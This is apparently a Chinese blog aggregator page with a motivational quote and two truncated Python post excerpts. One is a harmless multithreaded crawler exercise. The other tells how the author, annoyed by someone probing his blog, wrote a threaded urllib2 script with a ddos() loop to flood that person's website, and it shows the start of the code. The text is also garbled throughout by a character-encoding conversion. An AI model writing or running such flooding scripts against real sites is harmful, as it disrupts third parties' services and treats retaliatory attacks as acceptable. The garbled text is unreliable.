每日一句 ( 2025115 )  

Problems are not stop signs; they are guidelines.

問題的出現(xiàn)不是讓你止步,而是給你指路。———— Robert Schuller

python函數(shù)式實現(xiàn)的多線程爬蟲練習

寫的一個爬蟲練習,目的是抓取目標站點下所有鏈接, 并記錄下問題鏈接url(包括問題url,入口鏈接,http狀態(tài)碼)??梢宰孕性O置線程數(shù)量,程序開啟一個子線程來維護當前線程數(shù)量。之前還好點兒,現(xiàn)在是越改bug越多,問題越多。 目前發(fā)現(xiàn)的問題有: 1.線程的管理上,之前用傳統(tǒng)的方法,三個for循環(huán)來創(chuàng)建固定數(shù)量線程,不過發(fā)現(xiàn)如果某線程拋出異常后,線程終止,總線程數(shù)就會減少。所以自己改成了...

python多線程與urllib2一例

發(fā)現(xiàn)有人居然在試探下載我博客的源碼包,查了那家伙的IP,發(fā)現(xiàn)有一個網(wǎng)站,所以簡單寫了個python腳本,利用python的threading與urllib2庫進行瘋狂請求,不知道這算不算是攻擊的一種,反正在運行時它的站倒是挻慢的。。哈哈。。。 #coding: gbk import urllib2 import os import threading import time def ddos(): while True: #我還是把人家地址給匿了吧。。。 req = urllib2.urlopen('ht...